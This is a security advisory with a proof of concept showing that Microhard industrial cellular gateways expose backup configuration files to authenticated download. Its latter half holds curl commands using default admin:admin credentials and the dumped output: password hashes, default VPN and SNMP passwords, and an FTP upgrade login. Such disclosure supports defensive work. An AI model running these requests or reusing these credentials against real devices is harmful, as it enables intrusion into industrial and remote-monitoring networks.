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Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway Configuration Download


Vendor: Microhard Systems Inc.
Product web page: http://www.microhardcorp.com
Affected version: IPn4G 1.1.0 build 1098
                  IPn3Gb 2.2.0 build 2160
                  IPn4Gb 1.1.6 build 1184-14
                  IPn4Gb 1.1.0 Rev 2 build 1090-2
                  IPn4Gb 1.1.0 Rev 2 build 1086
                  Bullet-3G 1.2.0 Rev A build 1032
                  VIP4Gb 1.1.6 build 1204
                  VIP4G 1.1.6 Rev 3.0 build 1184-14
                  VIP4G-WiFi-N 1.1.6 Rev 2.0.0 build 1196
                  IPn3Gii / Bullet-3G 1.2.0 build 1076
                  IPn4Gii / Bullet-LTE 1.2.0 build 1078
                  BulletPlus 1.3.0 build 1036
                  Dragon-LTE 1.1.0 build 1036

Summary: The new IPn4Gb provides a rugged, industrial strength wireless solution
using the new and ultra fast 4G LTE cellular network infrastructure. The IPn4Gb
features integrated Firewall, IPSec / VPN & GRE Tunneling, IP/MAC Access Control
Lists. The IPn4Gb can transport critical data to and from SMS, Ethernet and Serial
RS232/485/422 devices!

The IPn3Gb provides a fast, secure industrial strength wireless solution that uses
the widespread deployment of cellular network infrastructure for critical data collection.
From remote meters and sensors, to providing mobile network access, the IPn3Gb delivers!
The IPn3Gb is a powerful HSPA+ and Quad Band GSM device compatible almost anywhere. It
provides robust and secure wireless communication of Serial, USB and Ethernet data.

The all new Bullet-3G provides a compact, robust, feature packed industrial strength
wireless solution using fast 3G/HSPA+ network infrastructure. The Bullet-3G takes things
to the next level by providing features such as Ethernet with PoE, RS232 Serial port
and 2x Programmable I/O. Offering enhanced, 'Secure Communication' with its integrated
Firewall, IPSec VPN Tunneling, IP/MAC Access Control Lists, the Bullet-3G is a solution
worth looking at!

The all new Dragon-LTE provides a feature packed, compact OEM, industrial strength
wireless IoT & M2M solution. Connect any device, wired or wireless, and provide remote
cellular access using the Dragon-LTE. The Dragon-LTE features a OEM design for tight
system integration and design flexibility with dual Ethernet Ports and high power
802.11b/g/n WIFI. With its integrated Firewall, IPSec VPN Tunneling and IP/MAC Access
Control Lists, the Dragon-LTE provides a solution for any cellular application!

The new VIP4Gb provides a rugged, industrial strength wireless solution using 4G LTE
network infrastructure for critical data communications. The VIP4Gb provides simultaneous
network connections for 802.11a/b/g/n WiFi devices, 4 x 10/100/1000 Ethernet ports, Digital
I/O, and a RS232/RS485 port, resulting in a communication device that can be deployed in
any application! The VIP4Gb is a powerful 4G LTE device compatible on any cellular network.
It provides robust and secure wireless communication of Serial, Ethernet & WiFi data.

Desc: The system backup configuration file 'IPn4G.config' in '/' directory or its respective
name based on the model name including the similar files in '/www/cgi-bin/system.conf', '/tmp'
and the cli.conf in '/etc/m_cli/' can be downloaded by an authenticated attacker in certain
circumstances. This will enable the attacker to disclose sensitive information and help her
in authentication bypass, privilege escalation and/or full system access.

Tested on: httpd-ssl-1.0.0
           Linux 2.6.32.9 (Bin@DProBuilder) (gcc version 4.4.3)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2018-5484
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5484.php


13.03.2018

--


/etc/m_cli/cli.conf:
--------------------

curl "http://192.168.1.1/cgi-bin/webif/download.sh?script=/cgi-bin/webif/system-editor.sh&path=/etc/m_cli&savefile=cli.conf" -H "Authorization: Basic YWRtaW46YWRtaW4=" |grep passwd
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  2719  100  2719    0     0   2574      0  0:00:01  0:00:01 --:--:--  2577
passwd admin 


/www/IPn4G.config:
------------------

lqwrm@metalgear:~$ curl http://192.168.1.1/IPn4G.config -o IPn4G.tar.gz -H "Authorization: Basic YWRtaW46YWRtaW4="
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 13156  100 13156    0     0   9510      0  0:00:01  0:00:01 --:--:--  9512
lqwrm@metalgear:~$ tar -zxf IPn4G.tar.gz ; ls
config.boardinfo  config.boardtype  config.date  config.name  etc  IPn4G.tar.gz  usr
lqwrm@metalgear:~$ cat config.boardinfo config.boardtype config.date config.name 
2012 Microhard Systems Inc.:IPn4Gb-IPn4G:v1.0.0
Atheros AR7130 rev 2
Thu Jul 12 12:42:42 PDT 2018
IPn4G
lqwrm@metalgear:~$ cat usr/lib/hardware_desc 
modem_type="N930"
LTE_ATCOMMAND_PORT="/dev/ttyACM0"
LTE_DIAG_PORT=""
LTE_GPS_PORT=""
wificard = "0"
lqwrm@metalgear:~$ ls etc/
config  crontabs  dropbear  ethers  firewall.user  hosts  httpd.conf  passwd  ssl
lqwrm@metalgear:~$ ls etc/config/
comport         dhcp      gpsgatetr     iperf         modbusd           notes      sdpServer   twatchdog  webif_access_control
comport2        dropbear  gpsr          ipsec         msmscomd          ntpclient  snmpd       updatedd   websockserver
coova-chilli    ethernet  gpsrecorderd  keepalive     msshc             ntrd       snmpd.conf  vlan       wireless
cron            eurd      gre-tunnels   localmonitor  network           pimd       system      vnstat     wsclient
crontabs        firewall  httpd         lte           network_IPnVTn3G  ping       timezone    vpnc
datausemonitor  gpsd      ioports       lte362        network_VIP4G     salertd    tmpstatus   webif
lqwrm@metalgear:~$ cat etc/passwd 
root:$1$fwjr710d$lOBXhRTmQk/rLLJY5sitO/:0:0:root:/:/bin/ash
admin:$1$0VKXa1iD$.Jw20V3iH3kx6VSLjsFZP.:0:0:admin:/:/etc/m_cli/m_cli.sh
upgrade:$1$ZsGmi0zo$nHGOo8TJCoTIoUGOKK/Oc1:500:500:ftpupgrade:/upgrade/upgrade:/bin/false
at:$1$rKAtMKeY$RSLlzCp8LzEENRaBk615o/:0:0:admin:/:/bin/atUI
nobody:*:65534:65534:nobody:/var:/bin/false
testlab:$1$.ezacuj4$s.hoiWAaLH7G./vHcfXku.:0:0:Linux User,,,:/:/etc/testlab.sh
testlab1:$1$tV44sdhe$cgoB4Pk814NQl.1Uo90It0:0:0:Linux User,,,:/:/etc/m_cli/m_cli.sh
testingus:$1$S9c8yiFq$P96OckXNQMhpKjFoRx1sL.:1000:1000:Linux User,,,:/home/testingus:/bin/false
msshc:$1$bM7uisGu$iMRC.LVlXjKAv7Y07t1fm/:0:0:root:/tmp/msshc:/etc/msshc.sh


/www/cgi-bin/system.conf:
-------------------------

lqwrm@metalgear:~$ curl -O http://192.168.1.1/cgi-bin/system.conf -H "Authorization: Basic YWRtaW46YWRtaW4="
lqwrm@metalgear:~$ cat system.conf |grep -irnH "password" -A2
system.conf:236:#VPN Admin Password:
system.conf-237-NetWork_IP_VPN_Passwd=admin
system.conf-238-
--
system.conf:309:#V3 Authentication Password:
system.conf:310:NetWork_SNMP_V3_Auth_Password=00000000
system.conf-311-
system.conf:312:#V3 Privacy Password:
system.conf:313:NetWork_SNMP_V3_Privacy_Password=00000000


Login to FTP (upgrade:admin). In /tmp/ or /tmp/upgrade/ the system.conf (gzipped) is located.
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